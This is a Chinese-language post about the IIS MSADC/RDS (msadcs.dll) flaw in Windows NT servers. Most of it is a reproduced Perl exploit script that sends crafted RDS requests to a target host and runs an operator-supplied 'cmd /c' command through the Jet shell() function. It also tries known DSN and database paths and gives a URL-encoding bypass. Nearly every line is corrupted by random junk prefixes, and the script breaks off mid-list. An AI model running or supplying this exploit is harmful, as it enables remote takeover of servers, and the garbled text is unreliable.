IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
d? Old ,>^6ztM 涉及程序:
[9:'v@Ph Microsoft NT server
JFvVRGWB RKY~[IQ, 描述:
Gw0_M& 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
$\DOy&e 6^oQ8unmS 详细:
ZDI%?.U 如果你没有时间读详细内容的话,就删除:
soH
M5<U c:\Program Files\Common Files\System\Msadc\msadcs.dll
0(Hhb#WDh\ 有关的安全问题就没有了。
_7O;ED+ #ZPU.NNT? 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
pnvHh0ck_ )<kId4E 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
;-OnCLr 关于利用ODBC远程漏洞的描述,请参看:
hSO(s ,.cNs5[t http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm WP@IV;i t#Q" ;e 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
H.D1|sU http://www.microsoft.com/security/bulletins/MS99-025faq.asp f~RS[h`: y~w -z4 这里不再论述。
qOusO6 h|MTE~
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
>z`^Q[ >|"mhNF /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
!IZbMn6 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
>~g(acH%`x &!y7PWHJ ~1NK@=7T #将下面这段保存为txt文件,然后: "perl -x 文件名"
2
f"=f^rf #9{9T"ed #!perl
9'qU4I #
YSvZ7G(m> # MSADC/RDS 'usage' (aka exploit) script
q\B048~KK #
[Ipg",Su;f # by rain.forest.puppy
[BH^SvE #
jWg7RuN # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
~4YLPMGKl # beta test and find errors!
{EoRY/] #q06K2 use Socket; use Getopt::Std;
;Jn"^zT getopts("e:vd:h:XR", \%args);
7#
/c7 jL|y4 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
S~8w- lG! &?],uHB?d if (!defined $args{h} && !defined $args{R}) {
$/*6tsR print qq~
Y=%SK8]Q; Usage: msadc.pl -h <host> { -d <delay> -X -v }
rcC}4mNe -h <host> = host you want to scan (ip or domain)
_e
]jz2j -d <seconds> = delay between calls, default 1 second
`sS\8~A -X = dump Index Server path table, if available
QEh_2 -v = verbose
Y4\BHFq -e = external dictionary file for step 5
W;Rx(o> =5UT'3p> Or a -R will resume a command session
LIo3a38n?y hdw-ge m{? ~; exit;}
+B
4&$z $#cZJ@;] $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
YpAJ7E|7 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
"k8Yc<`u if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
>t[beRcR6 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
X}Ey6*D: $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
~\4B 1n7 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
aKLA_-E Zy}Qc")Z if (!defined $args{R}){ $ret = &has_msadc;
D^?jLfW8 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
M
`QYrH cB;:}Q08# print "Please type the NT commandline you want to run (cmd /c assumed):\n"
4@K9% . "cmd /c ";
_h%
:Tu $in=<STDIN>; chomp $in;
$=x1_ $command="cmd /c " . $in ;
!besMZ ;B 35E!QJ if (defined $args{R}) {&load; exit;}
re\@v8w~ jm-J_o;}z6 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
QFP3S( &try_btcustmr;
*H"IW0I gaK m`# print "\nStep 2: Trying to make our own DSN...";
@>wD`<U| &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
j|`6[93MG sHqs)@D print "\nStep 3: Trying known DSNs...";
kWF/SsE &known_dsn;
*^BW[C/CTR }!5x1F! print "\nStep 4: Trying known .mdbs...";
'IorjR@40 &known_mdb;
FS3MR9 x[mxp/
/P if (defined $args{e}){
I9! eL4e print "\nStep 5: Trying dictionary of DSN names...";
Z~g I ) &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
m])!'Pa(= [79 eq= print "Sorry Charley...maybe next time?\n";
(,5oqU9s@ exit;
O'6zV"<P
Wc}opp ##############################################################################
DFgr,~ b`NXe7A sub sendraw { # ripped and modded from whisker
kOe%w-_ sleep($delay); # it's a DoS on the server! At least on mine...
>&@hm4 my ($pstr)=@_;
`1cGb *b/ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
z (N3oBW die("Socket problems\n");
3:">]LMi if(connect(S,pack "SnA4x8",2,80,$target)){
}{! #`'s select(S); $|=1;
[0_JS 2KE print $pstr; my @in=<S>;
2Xu?/yd select(STDOUT); close(S);
&1O!guq% return @in;
y$n7'W6 } else { die("Can't connect...\n"); }}
[m9Pt]j@
j@kL`Q\&I ##############################################################################
/`M>3q[ s6#@S4^=\ sub make_header { # make the HTTP request
ZS&n,<a5L} my $msadc=<<EOT
U($sH9, POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
hK!Z~
User-Agent: ACTIVEDATA
:$bp4+3> Host: $ip
;j#$d@VG" Content-Length: $clen
f8ap+][ Connection: Keep-Alive
?'xTSAn "6T: &> ADCClientVersion:01.06
;l^4/BR Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
?;{fqeJz v&6=(k{E@R --!ADM!ROX!YOUR!WORLD!
-mSiZ Content-Type: application/x-varg
_%HpB= Content-Length: $reqlen
81\$X '~dE0ohWb EOT
K3eYeXV ; $msadc=~s/\n/\r\n/g;
MA:2]l3e return $msadc;}
Hpo/CY/ /UJ@e ##############################################################################
87/!u]q }uI(D&?+h sub make_req { # make the RDS request
A),nkw0X my ($switch, $p1, $p2)=@_;
E$$pO.\ my $req=""; my $t1, $t2, $query, $dsn;
Mo+mO&B y-UutI& if ($switch==1){ # this is the btcustmr.mdb query
r]XXN2[jO $query="Select * from Customers where City=" . make_shell();
-29Sw $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
o8 A]vaa $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
/ 38b:, mhp&;
Q9 elsif ($switch==2){ # this is general make table query
jzuOs,:R $query="create table AZZ (B int, C varchar(10))";
-rU~ $dsn="$p1";}
2gn*B$a ryz
[A:^G elsif ($switch==3){ # this is general exploit table query
#z|\AmZ\ $query="select * from AZZ where C=" . make_shell();
~[@Gj{6p0 $dsn="$p1";}
ZE#f{qF( x\=2D<@az elsif ($switch==4){ # attempt to hork file info from index server
m6%csh-N1 $query="select path from scope()";
`O-LM e $dsn="Provider=MSIDXS;";}
F{1;~Yg% }$K2h* elsif ($switch==5){ # bad query
%-~W|Y $query="select";
\]y4e^FZZ $dsn="$p1";}
uV]4C^k;`[ ap;tggi(H $t1= make_unicode($query);
zVLv-U/=d $t2= make_unicode($dsn);
'4PAH2&n $req = "\x02\x00\x03\x00";
,&S^R yc $req.= "\x08\x00" . pack ("S1", length($t1));
U @Il:\I $req.= "\x00\x00" . $t1 ;
[OI&_WIw $req.= "\x08\x00" . pack ("S1", length($t2));
7wt2|$Qz $req.= "\x00\x00" . $t2 ;
#1MEmt $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
,2F4S5F~rC return $req;}
s*R\!L JPS7L} Kv ##############################################################################
T-Od|T@[ { VC4rA sub make_shell { # this makes the shell() statement
s5 2c`+ return "'|shell(\"$command\")|'";}
x4SI TY lO/<xSjNd ##############################################################################
By=/DVm)= qyP|`Pm4 sub make_unicode { # quick little function to convert to unicode
oE+s8Q my ($in)=@_; my $out;
2 }QD> for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
a8T<f/qW k return $out;}
O?uT'$GT )z0qKb\ ##############################################################################
Bp3%*va =d/\8\4 sub rdo_success { # checks for RDO return success (this is kludge)
(wmMHo| my (@in) = @_; my $base=content_start(@in);
X\SZ Q[gN if($in[$base]=~/multipart\/mixed/){
M\wIpRD, return 1 if( $in[$base+10]=~/^\x09\x00/ );}
xCH,d:n= return 0;}
1y5]+GU'` iST r;>A ##############################################################################
<BIj
a Vp
$] sub make_dsn { # this makes a DSN for us
$or?7 w> my @drives=("c","d","e","f");
}i1p&EN^ print "\nMaking DSN: ";
[/#c9RA foreach $drive (@drives) {
GyV3 ]Qqj print "$drive: ";
!F0MLvdX7^ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
wj>mk "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
tt=?*n . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
H'myd=*h~8 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
?iH`-SY return 0 if $2 eq "404"; # not found/doesn't exist
Ti/t\'6 if($2 eq "200") {
i/rdPbq foreach $line (@results) {
/#Y)nyE
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
M.K-)r, } return 0;}
73/kyu-0% s)$N&0\ ##############################################################################
-Iz&/u*}f U;n$ sub verify_exists {
7%Zl^c>q my ($page)=@_;
4!Ez#\ my @results=sendraw("GET $page HTTP/1.0\n\n");
`d#l o return $results[0];}
F]~ rA! g1 ScrE tN ##############################################################################
6JWCB9$4 k%\_UYa sub try_btcustmr {
<{7CS=) my @drives=("c","d","e","f");
sDnHd9v<?t my @dirs=("winnt","winnt35","winnt351","win","windows");
&sL(|>N Dm/# \y3 foreach $dir (@dirs) {
eqcV70E8cK print "$dir -> "; # fun status so you can see progress
^5TSo&qZ foreach $drive (@drives) {
C+-GE9= print "$drive: "; # ditto
hR3lo;' $reqlen=length( make_req(1,$drive,$dir) ) - 28;
qr%9Sdvx $reqlenlen=length( "$reqlen" );
"J]_B $clen= 206 + $reqlenlen + $reqlen;
7<[p1C*B o+W5xHe^1 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
]=p@1 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
'iO?M'0gE# else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
*loPwV8 G#/}_P ##############################################################################
-ea>}S 8P r H"pI sub odbc_error {
=whZ?,u1 my (@in)=@_; my $base;
0uzm@'^ my $base = content_start(@in);
4C^;lK if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
._m+@Uy]H} $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
O=}4?Xv $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
:mLcb.E $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
C=ni5R return $in[$base+4].$in[$base+5].$in[$base+6];}
ua1ov7w$] print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
mLU4R Q}5 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
@cPb*
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
mH>oF| U0'> (FP~2 ##############################################################################
5EDN 9?a uR{HCZ- sub verbose {
\1'3--n my ($in)=@_;
(OT /o&cQ return if !$verbose;
~<Z;)e print STDOUT "\n$in\n";}
)xiiTkJd5 Uw^`_\si ##############################################################################
Zrp`91&I /5Wy)- sub save {
a'w~7y!} my ($p1, $p2, $p3, $p4)=@_;
|R:gu\gG open(OUT, ">rds.save") || print "Problem saving parameters...\n";
R6~x! print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
@sJ[<V close OUT;}
Pw/Z;N;:V v4!zB9d ##############################################################################
N2uxiXpQZ= {dJC3/Rf sub load {
!b0'd'xe my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Vu '/o[nF> open(IN,"<rds.save") || die("Couldn't open rds.save\n");
pv&:N,p @p=<IN>; close(IN);
3o%,8l, $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
YQOdwcLG
$target= inet_aton($ip) || die("inet_aton problems");
J@Eqqyf" print "Resuming to $ip ...";
98h,VuKVaB $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
/>;1 } if($p[1]==1) {
w#eD5y~'oo $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
Y3r m')c $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
IlsXj`!e my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
O{a<f7 W if (rdo_success(@results)){print "Success!\n";}
pfgFHNH: else { print "failed\n"; verbose(odbc_error(@results));}}
n'=-bj` elsif ($p[1]==3){
(&0%![j& if(run_query("$p[3]")){
A_1cM#4 print "Success!\n";} else { print "failed\n"; }}
d_=@1JM> elsif ($p[1]==4){
8R Wfv}:X if(run_query($drvst . "$p[3]")){
%)T>Wn%b]v print "Success!\n"; } else { print "failed\n"; }}
')t
:!#
exit;}
#}L75 6 ]W!>jDc ##############################################################################
|n=m{JX \m ![3#([>4> sub create_table {
xRYL{+ my ($in)=@_;
t9SzZ2E $reqlen=length( make_req(2,$in,"") ) - 28;
C{!L +]/ $reqlenlen=length( "$reqlen" );
Mit,X $clen= 206 + $reqlenlen + $reqlen;
V%'`nJ! my @results=sendraw(make_header() . make_req(2,$in,""));
XVAyuuTg\ return 1 if rdo_success(@results);
4>nY't;0 my $temp= odbc_error(@results); verbose($temp);
E%OY7zf`% return 1 if $temp=~/Table 'AZZ' already exists/;
W-q2|NK return 0;}
G$pTTT6# $,q~ q^0 ##############################################################################
Htn=h~U`z ?>5[~rMn sub known_dsn {
>k,|N4( # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
J]/TxUE my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
%`%oupqm+ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
!"/]<OQ "banner", "banners", "ads", "ADCDemo", "ADCTest");
\#.,@g 'HTr02riY foreach $dSn (@dsns) {
sHD8#t^{ print ".";
u
Jy1 vI next if (!is_access("DSN=$dSn"));
YO7Y1(` if(create_table("DSN=$dSn")){
Wr Ht print "$dSn successful\n";
BDSZ ' if(run_query("DSN=$dSn")){
}#'wy print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Kk1 591' print "Something's borked. Use verbose next time\n";}}} print "\n";}
HQ~`ha. %JM:4G|q ##############################################################################
$ysemDq-a\ $2qZds[ sub is_access {
R06L4,/b my ($in)=@_;
)I'?]p< $reqlen=length( make_req(5,$in,"") ) - 28;
C( 8i0(1 $reqlenlen=length( "$reqlen" );
W[BZ/ $clen= 206 + $reqlenlen + $reqlen;
)=l~XV my @results=sendraw(make_header() . make_req(5,$in,""));
"a))TV%N my $temp= odbc_error(@results);
6nh!g verbose($temp); return 1 if ($temp=~/Microsoft Access/);
|niYN7 17 return 0;}
B*7Y5_N xgHR;USH ##############################################################################
"MHm9D?5 j78WPG sub run_query {
&v|Uy}h&%1 my ($in)=@_;
=!T@'P? $reqlen=length( make_req(3,$in,"") ) - 28;
!E!i`yF $reqlenlen=length( "$reqlen" );
DhY.5 $clen= 206 + $reqlenlen + $reqlen;
.?R~!K{` my @results=sendraw(make_header() . make_req(3,$in,""));
iSu7K&X9q return 1 if rdo_success(@results);
w>Iw&US
my $temp= odbc_error(@results); verbose($temp);
W1'F)5(?7 return 0;}
uKc x$ 7S$Am84% ##############################################################################
eqbQ,, & 0+MNu8t sub known_mdb {
twElLOE my @drives=("c","d","e","f","g");
-V0_%Smc my @dirs=("winnt","winnt35","winnt351","win","windows");
HA&7
ybl my $dir, $drive, $mdb;
MyB&mC7Es my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
H'k $<S Y,Dd}an # this is sparse, because I don't know of many
|f), dC my @sysmdbs=( "\\catroot\\icatalog.mdb",
|U{9Yy6p "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
F: %-x=q "\\system32\\certmdb.mdb",
l?pF?({ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
lM1~K cb!mV5M-g my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
TI4#A E "\\cfusion\\cfapps\\forums\\forums_.mdb",
,5oe8\uz "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
CXt9 5O? "\\cfusion\\cfapps\\security\\realm_.mdb",
%@tKcQ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
O
]o7 "\\cfusion\\database\\cfexamples.mdb",
MB.\G.bV "\\cfusion\\database\\cfsnippets.mdb",
&_Kb;UVRj "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
j6v|D>I "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
ta"uxL\gge "\\cfusion\\brighttiger\\database\\cleam.mdb",
G165grGFd "\\cfusion\\database\\smpolicy.mdb",
~hK7(K "\\cfusion\\database\cypress.mdb",
F.5'5% "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
Z(DCR/U=(> "\\website\\cgi-win\\dbsample.mdb",
d: D`rpcC "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
9A_{*E(wd "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
S3#NGBZ/ ); #these are just
B1<